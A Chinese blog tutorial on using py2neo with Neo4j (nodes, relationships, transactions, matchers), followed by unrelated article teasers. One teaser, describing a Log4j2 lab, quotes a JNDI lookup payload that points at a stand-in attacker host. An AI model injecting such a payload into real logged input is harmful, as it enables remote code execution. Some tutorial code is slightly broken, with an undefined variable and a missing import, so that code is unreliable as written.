python 与 neo4j 交互(py2neo 使用)
参考自:neo4j的python.py2neo操作入门
官方文档:The Py2neo Handbook — py2neo 2021.1
安装:pip install py2neo -i https://pypi.tuna.tsinghua.edu.cn/simple
1 节点 / 关系 / 属性 / 路径
节点(Node)和关系(relationship)是构成图的基础,节点和关系都可以有多个属性(property),并且均可以作为实体
重点:
- 节点:在图数据库中,节点代表实体,可以拥有属性和标签。节点通常用来表示实际的数据实体,比如人、地点、事件等
- 关系:关系描述了节点之间的连接或关联,必须包含两个节点,且具有方向:start node →end node
- 路径:路径是由节点和关系组成的序列,描述了节点之间的连接路径。路径是一个完整的图形结构,由起始节点、关系和结束节点组成,表示了实体之间的关系和连接方式
- 属性:键-值(key-value),键是字符串类型,值,可以是原数据,也可以由原数据同类型的数组
- 对于一个节点来说,与之相连的关系是有输入和输出两个方向。(如node2有输入关系和输出关系:node1→node2→node3),这个特性对于遍历图很重要
- 一个节点可以有一个关系是指向自己的
2 连接neo4j
前置安装可以看:
#cmd窗口下
neo4j.bat console
浏览器访问 http://localhost:7474/
3 创建图对象
from py2neo import Graph, Subgraph
from py2neo import Node, Relationship, Path# 连接数据库
# graph = Graph('http://localhost:7474', username='neo4j', password='123456') # 旧版本
graph = Graph('bolt://localhost:7687', auth=('neo4j', '123456'))# 删除所有已有节点
graph.delete_all()
4 数据类型及操作
4.1 Node:节点
基本语法:Node(*labels,**properties)
# 定义node
node_1 = Node('英雄',name = '张无忌')
node_2 = Node('英雄',name = '杨逍',武力值='100')
node_3 = Node('派别',name = '明教')# 存入图数据库
graph.create(node_1)
graph.create(node_2)
graph.create(node_3)
print(node_1)
4.2 Relationship:关系
基本语法:Relationship((start_node, type, end_node, **properties))
# 增加关系
node_1_to_node_2 = Relationship(node_2,'教主',node_1)
node_3_to_node_1 = Relationship(node_1,'统领',node_3)
node_2_to_node_2 = Relationship(node_2,'师出',node_3)graph.create(node_1_to_node_2)
graph.create(node_3_to_node_1)
graph.create(node_2_to_node_2)
4.3 Path:路径
基本语法:Path(*entities)
注:entities是实体
# 建一个路径:比如按照该路径查询,或者遍历的结果保存为路径
node_4,node_5,node_6 = Node(name='阿大'),Node(name='阿三'),Node(name='阿二')
path_1 = Path(node_4,'小弟',node_5,Relationship(node_6, "小弟", node_5),node_6) # (阿大)-[:小弟 {}]->(阿三)<-[:小弟 {}]-(阿二)
graph.create(path_1)print(path_1)
4.4 Subgraph:子图
节点和关系的任意集合,它也是 Node、Relationship 和 Path 的基类
基本语法:Subgraph(nodes, relationships)
空子图表示为None,使用bool()可以测试是否为空,且参数要按数组输入
# 创建一个子图,并通过子图的方式更新数据库
node_7 = Node('英雄',name = '张翠山')
node_8 = Node('英雄',name = '殷素素')
node_9 = Node('英雄',name = '狮王')relationship7 = Relationship(node_1,'生父',node_7)
relationship8 = Relationship(node_1,'生母',node_8)
relationship9 = Relationship(node_1,'义父',node_9)
subgraph_1 = Subgraph(nodes = [node_7,node_8,node_9],relationships = [relationship7,relationship8,relationship9])
graph.create(subgraph_1)
4.5 工作流
(1)GraphService:基于图服务的工作流。
(2)Graph:基于图数据库的工作流(前文所述的基本上都是如此)。
(3)Transaction:基于事务的工作流
在一个事务里,进行多种操作,只有操作全部完成,工作流才算完成,如:
一个Transaction分两个任务:① 增加一个新节点 ② 将该节点与已有节点创建新关系
两个任务只要有一个没完成,整个工作流就不会生效
通常,该种方式通过Graph.begain(readonly=False)
构造函数构造,参数readonly表示只读,无参数默认可写
# 创建一个新的事务
transaction_1 = graph.begin()# 创建一个新node
node_10 = Node('武当',name = '张三丰')
transaction_1.create(node_10)
# 创建两个关系:张无忌→(师公)→张三丰 张翠山→(妻子)→殷素素
relationship_10 = Relationship(node_1,'师公',node_10)
relationship_11 = Relationship(node_7,'妻子',node_8)transaction_1.create(relationship_10)
transaction_1.create(relationship_11)transaction_1.commit()
4.6 删
# 删除所有:谨慎使用
# graph.delete_all()# 按照节点id删除:要删除某个节点之前,需要先删除关系。否则会报错:ClientError
graph.run('match (r) where id(r) = 3 delete r')
# 按照name属性删除:先增加一个单独的节点:
node_x = Node('英雄',name ='韦一笑')
graph.create(node_x)
graph.run('match (n:英雄{name:\'韦一笑\'}) delete n')# 删除一个节点及与之相连的关系
graph.run('match (n:英雄{name:\'韦一笑\'}) detach delete n')
# 删除某一类型的关系
graph.run('match ()-[r:喜欢]->() delete r;')# 删除子图
# delete(self, subgraph)
4.7 改
# 将node_9狮王的武力值改为100
node_9['武力值']=100
# 本地修改后要push到服务器上
graph.push(node_9)
4.8 查
为了使用更复杂查询,将图数据库扩充如下:
# 为了便于查询更多类容,新增一些关系和节点
transaction_2 = graph.begin()node_100 = Node('巾帼',name ='赵敏')
re_100 = Relationship(node_1,'Love',node_100)node_101 = Node('巾帼',name ='周芷若')
re_101 = Relationship(node_1,'knows',node_101)
re_101_ = Relationship(node_101,'hate',node_100)node_102 = Node('巾帼',name ='小昭')
re_102 = Relationship(node_1,'konws',node_102)node_103 = Node('巾帼',name ='蛛儿')
re_103 = Relationship(node_103,'Love',node_1)transaction_2.create(node_100)
transaction_2.create(re_100)
transaction_2.create(node_101)
transaction_2.create(re_101)
transaction_2.create(re_101_)
transaction_2.create(node_102)
transaction_2.create(re_102)
transaction_2.create(node_103)
transaction_2.create(re_103)transaction_2.commit()
① NodeMatcher:定位满足特定条件的节点
基本语法:NodeMatcher.match(*labels, **properties)
方法名 | 功能 |
---|---|
first() | 返回查询结果第一个Node,没有则返回空 |
all() | 返回所有节点 |
where(condition,properties) | 二次过滤查询结果 |
order_by | 排序 |
# 定义查询
nodes = NodeMatcher(graph)# 按照label查询所有节点
node_hero = nodes.match("英雄").all()
print('查询结果的数据类型:',type(node_hero))# 按property查询,返回符合要求的首个节点:name-杨逍
node_single = nodes.match("英雄", name="杨逍").first()
print('单节点查询:\n', node_)# 按property查询,返回符合要求的所有节点
node_name = nodes.match(name='张无忌').all()
print('name查询结果:', node_name)# 在查询结果中循环取值
i = 0
for node in node_hero:print('label查询第{}个为:{}'.format(i,node))i+=1# get()方法按照id查询节点
node_id = nodes.get(1)
print('id查询结果:', node_id)
② NodeMatch
基本用法:NodeMatch(graph, labels=frozenset({}), predicates=(), order_by=(), skip=None, limit=None)
方法 | 功能 |
---|---|
iter(match) | 遍历所匹配节点 |
len(match) | 返回匹配到的节点个数 |
all() | 返回所有节点 |
count() | 返回节点计数,评估所选择的节点 |
limit(amount) | 返回节点的最大个数 |
order_by(*fields) | 按指定的字段或字段表达式排序 要引用字段或字段表达式中的当前节点,请使用下划线字符 |
where(*predicates, **properties) | 二次过滤 |
from py2neo import NodeMatchnodess = NodeMatch(graph, labels=frozenset({'英雄'}))# 遍历查询到的节点
print('=' * 15, '遍历所有节点', '=' * 15)
for node in iter(nodess):print(node)
# 查询结果计数
print('=' * 15, '查询结果计数', '=' * 15)
print(nodess.count())
# 按照武力值排序查询结果:注意引用字段的方式,前面要加下划线和点:_.武力值
print('=' * 10, '按照武力值排序查询结果', '=' * 10)
wu = nodess.order_by('_.武力值')
for i in wu:print(i)
③ RelationshipMatcher:用于选择满足一组特定标准的关系的匹配器
基础语法:relation = RelationshipMatcher(graph)
from py2neo import RelationshipMatcher
# 查询某条关系
relation = RelationshipMatcher(graph)# None表示any node,而非表示空
print('='*10,'hate关系查询结果','='*10)
x = relation.match(nodes=None, r_type='hate')
for x_ in x:print(x_)# 增加关系
re1_1 = Relationship(node_101,'情敌',node_102)
re1_2 = Relationship(node_102,'情敌',node_103)
graph.create(re1_1)
graph.create(re1_2)# 情敌查询结果
print('='*10,'hate关系查询结果','='*10)
x = relation.match(nodes=None, r_type='情敌')
for x_ in x:print(x_)
④ RelationshipMatch
基本语法:RelationshipMatch(graph, nodes=None, r_type=None, predicates=(), order_by=(), skip=None, limit=None)
用法类同,不再赘述
相关文章:

python 与 neo4j 交互(py2neo 使用)
参考自:neo4j的python.py2neo操作入门 官方文档:The Py2neo Handbook — py2neo 2021.1 安装:pip install py2neo -i https://pypi.tuna.tsinghua.edu.cn/simple 1 节点 / 关系 / 属性 / 路径 节点(Node)和关系(relationship)是构成图的基础…...
Python基础笔记11
Python小记 一行代码实现数字交换 C:\Users\mt>python Python 3.9.1 (tags/v3.9.1:1e5d33e, Dec 7 2020, 17:08:21) [MSC v.1927 64 bit (AMD64)] on win32 Type "help", "copyright", "credits" or "license" for more informa…...

vulhub中Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)
Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。…...

智慧城市驿站:智慧公厕升级版,打造现代化城市生活的便捷配套
随着城市化进程的加速,人们对城市生活质量的要求也越来越高。作为智慧城市建设的一项重要组成部分,多功能城市智慧驿站应运而生。它集合了信息技术、设计美学、结构工艺、系统集成、环保节能等多个亮点,将现代科技与城市生活相融合࿰…...
大模型爆款应用fabric_构建优雅的提示
项目地址:https://github.com/danielmiessler/fabric 1 引言 目前 fabric 已经获得了 5.3K Star,其中上周获得了 4.2K,成为了上周热榜的第二名(第一名是免费手机看电视的 Android 工具),可以算是爆款应用…...

js 对象属性描述符详解
文章目录 一、value二、writable三、访问器属性:get和set四、configurable五、注意事项 在 JavaScript 中,我们经常需要控制对象属性的特性,包括可写、可枚举等,本篇博客将介绍常见的对象属性使用及其特点。 本篇博客我们用首先O…...

文件操作QFile
C中,QT的QFile 类是 Qt 框架中用于文件处理的一个类,它继承自 QIODevice。该类提供了一系列用于文件读写的功能,支持文本和二进制文件的处理。QFile 允许开发者方便地在本地文件系统中创建、读取、写入和操作文件。 主要功能 文件打开与关闭…...
【Langchain】+ 【baichuan】实现领域知识库【RAG】问答系统
本项目使用Langchain 和 baichuan 大模型, 结合领域百科词条数据(用xlsx保存),简单地实现了领域百科问答实现。 from langchain.text_splitter import CharacterTextSplitter, RecursiveCharacterTextSplitter from langchain_co…...
Anaconda、conda、pip、virtualenv的区别
① Anaconda Anaconda是一个包含180的科学包及其依赖项的发行版本。其包含的科学包包括:conda, numpy, scipy, ipython notebook等。 Anaconda具有如下特点: ▪ 开源 ▪ 安装过程简单 ▪ 高性能使用Python和R语言 ▪ 免费的社区支持 其特点的实现…...

【数据结构】每天五分钟,快速入门数据结构(一)——数组
目录 一.初始化语法 二.特点 三.数组中的元素默认值 四.时间复杂度 五.Java中的ArrayList类 可变长度数组 1 使用 2 注意事项 3 实现原理 4 ArrayList源码 5 ArrayList方法 一.初始化语法 // 数组动态初始化(先定义数组,指定数组长度…...

NBlog个人博客部署维护过程记录 -- 后端springboot + 前端vue
项目是fork的Naccl大佬NBlog项目,页面做的相当漂亮,所以选择了这个。可以参考2.3的效果图 惭愧,工作两年了也没个自己的博客系统,趁着过年时间,开始搭建一下. NBlog原项目的github链接:Naccl/NBlog: &#…...

WireShark 安装指南:详细安装步骤和使用技巧
Wireshark是一个开源的网络协议分析工具,它能够捕获和分析网络数据包,并以用户友好的方式呈现这些数据包的内容。Wireshark 被广泛应用于网络故障排查、安全审计、教育及软件开发等领域。接下将讲解Wireshark的安装与简单使用。 目录 Wireshark安装步骤…...
PyTorch detach():深入解析与实战应用
PyTorch detach():深入解析与实战应用 🌵文章目录🌵 🌳引言🌳🌳一、计算图与梯度传播🌳🌳二、detach()函数的作用🌳🌳三、detach()与requires_graddz…...

uniapp 开发一个密码管理app
密码管理app 介绍 最近发现自己的账号密码真的是太多了,各种网站,系统,公司内网的,很多站点在登陆的时候都要重新设置密码或者通过短信或者邮箱重新设置密码,真的很麻烦 所以准备开发一个app用来记录这些站好和密码…...

Postman详细攻略
🍅 视频学习:文末有免费的配套视频可观看 🍅 点击文末小卡片,免费获取软件测试全套资料,资料在手,涨薪更快 一、Postman背景介绍 用户在开发或者调试网络程序或者是网页B/S模式的程序的时候是需要一些方法…...

如何在本地服务器部署TeslaMate并远程查看特斯拉汽车数据无需公网ip
文章目录 1. Docker部署TeslaMate2. 本地访问TeslaMate3. Linux安装Cpolar4. 配置TeslaMate公网地址5. 远程访问TeslaMate6. 固定TeslaMate公网地址7. 固定地址访问TeslaMate TeslaMate是一个开源软件,可以通过连接特斯拉账号,记录行驶历史,统…...

如何在CentOS安装SQL Server数据库并实现无公网ip环境远程连接
文章目录 前言1. 安装sql server2. 局域网测试连接3. 安装cpolar内网穿透4. 将sqlserver映射到公网5. 公网远程连接6.固定连接公网地址7.使用固定公网地址连接 前言 简单几步实现在Linux centos环境下安装部署sql server数据库,并结合cpolar内网穿透工具࿰…...

备战蓝桥杯 Day5
1191:流感传染 【题目描述】 有一批易感人群住在网格状的宿舍区内,宿舍区为n*n的矩阵,每个格点为一个房间,房间里可能住人,也可能空着。在第一天,有些房间里的人得了流感,以后每天,得…...

爬虫学习笔记-scrapy爬取电影天堂(双层网址嵌套)
1.终端运行scrapy startproject movie,创建项目 2.接口查找 3.终端cd到spiders,cd scrapy_carhome/scrapy_movie/spiders,运行 scrapy genspider mv https://dy2018.com/ 4.打开mv,编写代码,爬取电影名和网址 5.用爬取的网址请求,使用meta属性传递name ,callback调用自定义的…...
Unity笔记:数据持久化的几种方式
正文 主要方法: ScriptableObjectPlayerPrefsJSONXML数据库(如Sqlite) 1. PlayerPerfs PlayerPrefs 存储的数据是全局共享的,它们存储在用户设备的本地存储中,并且可以被应用程序的所有部分访问。这意味着…...

XML Group端口详解
在XML数据映射过程中,经常需要对数据进行分组聚合操作。例如,当处理包含多个物料明细的XML文件时,可能需要将相同物料号的明细归为一组,或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码,增加了开…...
深入浅出:JavaScript 中的 `window.crypto.getRandomValues()` 方法
深入浅出:JavaScript 中的 window.crypto.getRandomValues() 方法 在现代 Web 开发中,随机数的生成看似简单,却隐藏着许多玄机。无论是生成密码、加密密钥,还是创建安全令牌,随机数的质量直接关系到系统的安全性。Jav…...

深入理解JavaScript设计模式之单例模式
目录 什么是单例模式为什么需要单例模式常见应用场景包括 单例模式实现透明单例模式实现不透明单例模式用代理实现单例模式javaScript中的单例模式使用命名空间使用闭包封装私有变量 惰性单例通用的惰性单例 结语 什么是单例模式 单例模式(Singleton Pattern&#…...

Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...

Python爬虫(一):爬虫伪装
一、网站防爬机制概述 在当今互联网环境中,具有一定规模或盈利性质的网站几乎都实施了各种防爬措施。这些措施主要分为两大类: 身份验证机制:直接将未经授权的爬虫阻挡在外反爬技术体系:通过各种技术手段增加爬虫获取数据的难度…...
2023赣州旅游投资集团
单选题 1.“不登高山,不知天之高也;不临深溪,不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...

基于IDIG-GAN的小样本电机轴承故障诊断
目录 🔍 核心问题 一、IDIG-GAN模型原理 1. 整体架构 2. 核心创新点 (1) 梯度归一化(Gradient Normalization) (2) 判别器梯度间隙正则化(Discriminator Gradient Gap Regularization) (3) 自注意力机制(Self-Attention) 3. 完整损失函数 二…...
Kafka主题运维全指南:从基础配置到故障处理
#作者:张桐瑞 文章目录 主题日常管理1. 修改主题分区。2. 修改主题级别参数。3. 变更副本数。4. 修改主题限速。5.主题分区迁移。6. 常见主题错误处理常见错误1:主题删除失败。常见错误2:__consumer_offsets占用太多的磁盘。 主题日常管理 …...
Spring Boot + MyBatis 集成支付宝支付流程
Spring Boot MyBatis 集成支付宝支付流程 核心流程 商户系统生成订单调用支付宝创建预支付订单用户跳转支付宝完成支付支付宝异步通知支付结果商户处理支付结果更新订单状态支付宝同步跳转回商户页面 代码实现示例(电脑网站支付) 1. 添加依赖 <!…...

密码学基础——SM4算法
博客主页:christine-rr-CSDN博客 专栏主页:密码学 📌 【今日更新】📌 对称密码算法——SM4 目录 一、国密SM系列算法概述 二、SM4算法 2.1算法背景 2.2算法特点 2.3 基本部件 2.3.1 S盒 2.3.2 非线性变换 编辑…...